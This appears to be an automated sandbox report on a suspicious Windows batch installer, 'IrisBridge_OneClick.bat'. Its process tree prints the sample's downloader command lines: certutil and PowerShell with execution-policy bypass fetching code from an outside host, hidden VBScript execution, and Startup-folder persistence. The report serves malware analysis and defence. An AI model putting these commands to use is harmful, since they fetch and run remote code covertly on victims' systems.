Overview

overview

8

Static

static

1

IrisBridge...ck.bat

windows10-2004-x64

8

IrisBridge...ck.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/11/2026, 18:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    IrisBridge_OneClick.bat
  • Size 8KB
  • Sample261113-w36pvae141
  • SHA256 c5b7591a052c5de4241b701c0fff24a5401976c0adc9d6d45a3eca97e6cf453b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoverydropperexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Downloads MZ/PE file 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Downloads a file with CertUtil 1 TTPs 2 IoCs

    CertUtil's URL cache options fetch arbitrary files from a web server, which can be used to retrieve further payloads.

    dropper
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Windows directory 17 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\IrisBridge_OneClick.bat"
    1⤵
    • Creates a file in the Startup directory
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue'; try { $wc=New-Object System.Net.WebClient; $script:last=-1; $wc.add_DownloadProgressChanged({ param($sender,$e) if($e.ProgressPercentage -ne $script:last -and (($e.ProgressPercentage % 5) -eq 0 -or $e.ProgressPercentage -eq 100)){ $doneKb=$e.BytesReceived/1KB; $doneMb=$e.BytesReceived/1MB; if($e.TotalBytesToReceive -gt 0){ $totalKb=$e.TotalBytesToReceive/1KB; $totalMb=$e.TotalBytesToReceive/1MB; Write-Host (' Downloading: {0:N0} KB ({1:N1} MB) / {2:N0} KB ({3:N1} MB) ({4}%)' -f $doneKb,$doneMb,$totalKb,$totalMb,$e.ProgressPercentage) } else { Write-Host (' Downloading: {0:N0} KB ({1:N1} MB)' -f $doneKb,$doneMb) }; $script:last=$e.ProgressPercentage } }); $task=$wc.DownloadFileTaskAsync($env:DL_URL,$env:DL_TARGET); $task.GetAwaiter().GetResult(); Write-Host ' Download complete. File verify ho rahi hai...'; if ((Get-Item -LiteralPath $env:DL_TARGET).Length -gt 100) { exit 0 }; exit 1 } catch { Write-Host ' Method 1 failed. Alternate method try ho raha hai...'; exit 1 }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3856
      • C:\Windows\system32\wermgr.exe
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3856" "2880" "2772" "2884" "0" "0" "2888" "0" "0" "0" "0" "0"
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        PID:2688
    • C:\Windows\system32\certutil.exe
      certutil.exe -urlcache -split -f "https://1.digiservices.tech/admin/downloads/iris/IrisBridge.py?v=20261021b" "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\IrisBridge.py"
      2⤵
      • Downloads a file with CertUtil
      PID:860
    • C:\Windows\system32\findstr.exe
      findstr.exe /b /c:"# -*- coding:" "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\IrisBridge.py"
      2⤵
        PID:3824
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
        2⤵
        • Executes a command shell one-liner
        PID:2104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue'; try { $wc=New-Object System.Net.WebClient; $script:last=-1; $wc.add_DownloadProgressChanged({ param($sender,$e) if($e.ProgressPercentage -ne $script:last -and (($e.ProgressPercentage % 5) -eq 0 -or $e.ProgressPercentage -eq 100)){ $doneKb=$e.BytesReceived/1KB; $doneMb=$e.BytesReceived/1MB; if($e.TotalBytesToReceive -gt 0){ $totalKb=$e.TotalBytesToReceive/1KB; $totalMb=$e.TotalBytesToReceive/1MB; Write-Host (' Downloading: {0:N0} KB ({1:N1} MB) / {2:N0} KB ({3:N1} MB) ({4}%)' -f $doneKb,$doneMb,$totalKb,$totalMb,$e.ProgressPercentage) } else { Write-Host (' Downloading: {0:N0} KB ({1:N1} MB)' -f $doneKb,$doneMb) }; $script:last=$e.ProgressPercentage } }); $task=$wc.DownloadFileTaskAsync($env:DL_URL,$env:DL_TARGET); $task.GetAwaiter().GetResult(); Write-Host ' Download complete. File verify ho rahi hai...'; if ((Get-Item -LiteralPath $env:DL_TARGET).Length -gt 100) { exit 0 }; exit 1 } catch { Write-Host ' Method 1 failed. Alternate method try ho raha hai...'; exit 1 }"
        2⤵
        • Badlisted process makes network request
        • Downloads MZ/PE file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3316
        • C:\Windows\system32\wermgr.exe
          "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3316" "2824" "2740" "2828" "0" "0" "2832" "0" "0" "0" "0" "0"
          3⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          PID:5988
      • C:\Windows\system32\certutil.exe
        certutil.exe -urlcache -split -f "https://www.python.org/ftp/python/3.12.10/python-3.12.10-amd64.exe" "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe"
        2⤵
        • Downloads MZ/PE file
        • Downloads a file with CertUtil
        PID:832
      • C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe
        "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe" /quiet InstallAllUsers=0 PrependPath=0 Include_test=0 Include_pip=1 Include_launcher=1 TargetDir="C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1320
        • C:\Windows\Temp\{F7051AFF-8112-4436-B014-80A412486B67}\.cr\PythonInstaller.exe
          "C:\Windows\Temp\{F7051AFF-8112-4436-B014-80A412486B67}\.cr\PythonInstaller.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe" -burn.filehandle.attached=704 -burn.filehandle.self=712 /quiet InstallAllUsers=0 PrependPath=0 Include_test=0 Include_pip=1 Include_launcher=1 TargetDir="C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          PID:5316
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 5316 -s 1200
            4⤵
            • Program crash
            PID:4028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
        2⤵
        • Executes a command shell one-liner
        PID:5012
      • C:\Windows\system32\timeout.exe
        timeout /t 5 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
        2⤵
        • Executes a command shell one-liner
        PID:4368
      • C:\Windows\system32\timeout.exe
        timeout /t 5 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:4684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Get-NetTCPConnection -LocalPort 8787 -State Listen -ErrorAction SilentlyContinue | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -ErrorAction SilentlyContinue }"
        2⤵
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious behavior: EnumeratesProcesses
        PID:4080
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:5352
      • C:\Windows\system32\wscript.exe
        wscript "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\IrisBridge_Hidden.vbs"
        2⤵
        • Checks computer location settings
        • Executes a VBScript file via the Windows Script Host.
        • Suspicious use of WriteProcessMemory
        PID:5556
        • C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python\python.exe
          "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python\python.exe" "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\IrisBridge.py" ^>^> "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\IrisBridge.log" 2^>^&1
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5564
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5788
    • C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe
      "C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe" /burn.runonce
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5304
      • C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe
        "C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe" /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.10 (64-bit)_20261113183049.log" InstallAllUsers=0 PrependPath=0 Include_test=0 Include_pip=1 Include_launcher=1 TargetDir=C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1180
        • C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe
          "C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\python-3.12.10-amd64.exe" -burn.filehandle.attached=528 -burn.filehandle.self=548 /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.10 (64-bit)_20261113183049.log" InstallAllUsers=0 PrependPath=0 Include_test=0 Include_pip=1 Include_launcher=1 TargetDir=C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:4012
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4012 -s 1216
            4⤵
            • Program crash
            PID:1208
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 5316 -ip 5316
      1⤵
        PID:4992
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4012 -ip 4012
        1⤵
          PID:4148

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e5900a5.rbs
              • Path C:\Config.Msi\e5900a5.rbs
              • Size 8KB
              • SHA256 e7603bf161a81c0495a211f5fcf50398967c98fa3e5616e406f4242d6054e124
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              e5900aa.rbs
              • Path C:\Config.Msi\e5900aa.rbs
              • Size 12KB
              • SHA256 75337e1ea2fcdd7612d631ece69b2e347074c5e4db9bd9a3a46f4b09221593d3
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              e5900af.rbs
              • Path C:\Config.Msi\e5900af.rbs
              • Size 7KB
              • SHA256 29e3a13cfa31d9484a7a2a74d7728ad84f293ef114a23ffb4b4d968e6460176a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              powershell.exe.log
              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4fe4d624026f0cf11c51997b0f28bce2d7911ddec2b1016d6ab853eb84462a43
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 0094aa802fece7132b6c6ac7d64a146b2e539f8e6109118565d0c988cebf0018
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              doc_JustForMe
              • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\doc_JustForMe
              • Size 5.7MB
              • SHA256 c6f9335641ce6556947e065bc68b168a7d517ec017588fa5a9d3d2cd4bc75bfa
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              lib_JustForMe
              • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\lib_JustForMe
              • Size 7.1MB
              • SHA256 699b862a3a0330114f8ddae9b92e394b4ee93341ba90e19710982cae62cd4079
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              tcltk_JustForMe
              • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\tcltk_JustForMe
              • Size 3.4MB
              • SHA256 55c96ffad69b1c834aa52e11b9ce41637a178ba6ad6607e83956044834276e2a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              exe.msi
              • Path C:\Users\Admin\AppData\Local\Package Cache\{0158093D-F809-455B-9429-6D16A4B5D118}v3.12.10150.0\exe.msi
              • Size 744KB
              • SHA256 64bef9bfc893cce8c697020fd4564a4e62c7f06e8f4b8ac3c5dfec37bdc56458
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              core.msi
              • Path C:\Users\Admin\AppData\Local\Package Cache\{9D09C9EF-A57C-422A-B79A-CC922079653A}v3.12.10150.0\core.msi
              • Size 2.0MB
              • SHA256 0075fe3c252b2af487443a7fbf666c8055e2d111ce7a75de7df0a5d45efb8794
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              pip.msi
              • Path C:\Users\Admin\AppData\Local\Package Cache\{CD0A1663-DC2D-41BD-89AF-E1089E841822}v3.12.10150.0\pip.msi
              • Size 288KB
              • SHA256 c508f2cbc48506a8ef518cb792c384bfa3634beae65cbfb2cf5f2a4ec1fca157
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              dev.msi
              • Path C:\Users\Admin\AppData\Local\Package Cache\{EF4A3D60-9A53-4697-A18D-D3353F8554E6}v3.12.10150.0\dev.msi
              • Size 388KB
              • SHA256 77b151b8d36f8bb4cde20ee6f0ff0681a2f88b2072ceac6abaa8e173f5a1eb78
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              state.rsm
              • Path C:\Users\Admin\AppData\Local\Package Cache\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\state.rsm
              • Size 1KB
              • SHA256 fb1e951fad7fad5506ca0d32a56e339fc653c01dde51b770b49025817dd07561
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              IrisBridge.py
              • Path C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\IrisBridge.py
              • Size 6KB
              • SHA256 17b5d3dcb1855aa74b36a969e1734d6b2530b16481ef361b83287833b500dc1c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              PythonInstaller.exe
              • Path C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe
              • Size 25.7MB
              • SHA256 67b5635e80ea51072b87941312d00ec8927c4db9ba18938f7ad2d27b328b95fb
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              VCRUNTIME140.dll
              • Path C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python\VCRUNTIME140.dll
              • Size 117KB
              • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              python.exe
              • Path C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python\python.exe
              • Size 102KB
              • SHA256 4d6f5f81a4bca11191c4c7c6b43632694d0a4ce74e068619d8fdc161d469859a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              python312.dll
              • Path C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python\python312.dll
              • Size 6.6MB
              • SHA256 9a0e3435aaa680d868150f87ab3e388ad2eebc22f87e036155c7b4eda8cd2120
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Python 3.12.10 (64-bit)_20261113183049.log
              • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.10 (64-bit)_20261113183049.log
              • Size 63KB
              • SHA256 4b905f287146f9bcad75d037c4229407fe2a390760a859e1048ac9d3e489d140
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Python 3.12.10 (64-bit)_20261113183049_000_core_JustForMe.log
              • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.10 (64-bit)_20261113183049_000_core_JustForMe.log
              • Size 1KB
              • SHA256 fc35fe45bd888fb83e20d983f6c75fe3b6228a2503e176bdcba77d4e3f8df484
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              __PSScriptPolicyTest_v0yg0egj.hlu.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v0yg0egj.hlu.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              IrisBridge_AutoStart.vbs
              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IrisBridge_AutoStart.vbs
              • Size 348B
              • SHA256 9debe76fc04e3827ae60216771cd15bfa336d24f2a3e82c5b1834e048706838e
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              BootstrapperApplicationData.xml
              • Path C:\Windows\Temp\{77DB352B-05A0-4316-B247-C7FFA297BD63}\.ba\BootstrapperApplicationData.xml
              • Size 96KB
              • SHA256 533c95d00032da994d8dbe6b9bc4f0a9a828fd91057fd650007bd273fb22ce57
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Default.thm
              • Path C:\Windows\Temp\{77DB352B-05A0-4316-B247-C7FFA297BD63}\.ba\Default.thm
              • Size 11KB
              • SHA256 be2baed45bcfb013e914e9d5bf6bc7c77a311f6f1723afbb7eb1faa7da497e1b
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Default.wxl
              • Path C:\Windows\Temp\{77DB352B-05A0-4316-B247-C7FFA297BD63}\.ba\Default.wxl
              • Size 9KB
              • SHA256 1529fad8a804911b2854233dadba6e36ceba35edce6aa1838818142cb3936384
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              PythonBA.dll
              • Path C:\Windows\Temp\{DAF37818-75E0-408B-9169-7945C67B00CD}\.ba\PythonBA.dll
              • Size 692KB
              • SHA256 b68d689899ceefc6d240d347b6505517a640e9fbd9ad96ab75f57d970f522980
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              SideBar.png
              • Path C:\Windows\Temp\{DAF37818-75E0-408B-9169-7945C67B00CD}\.ba\SideBar.png
              • Size 50KB
              • SHA256 79434bd1368f47f08acf6db66638531d386bf15166d78d9bfea4da164c079067
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              launcher_JustForMe
              • Path C:\Windows\Temp\{DAF37818-75E0-408B-9169-7945C67B00CD}\launcher_JustForMe
              • Size 548KB
              • SHA256 fee16ff5e80e7b6939270632a82dc8c33d2a1e3d1b7526df18c1912d07eaf026
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              PythonInstaller.exe
              • Path C:\Windows\Temp\{F7051AFF-8112-4436-B014-80A412486B67}\.cr\PythonInstaller.exe
              • Size 878KB
              • SHA256 8515944637be89aab89d2dc5d247bc21331e9c4179dc25e2fc24df51a9eda934
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              memory/3856-0-0x00000226C4910000-0x00000226C4920000-memory.dmp
              Download

              memory/3856-8-0x00000226C6A30000-0x00000226C6A52000-memory.dmp
              Download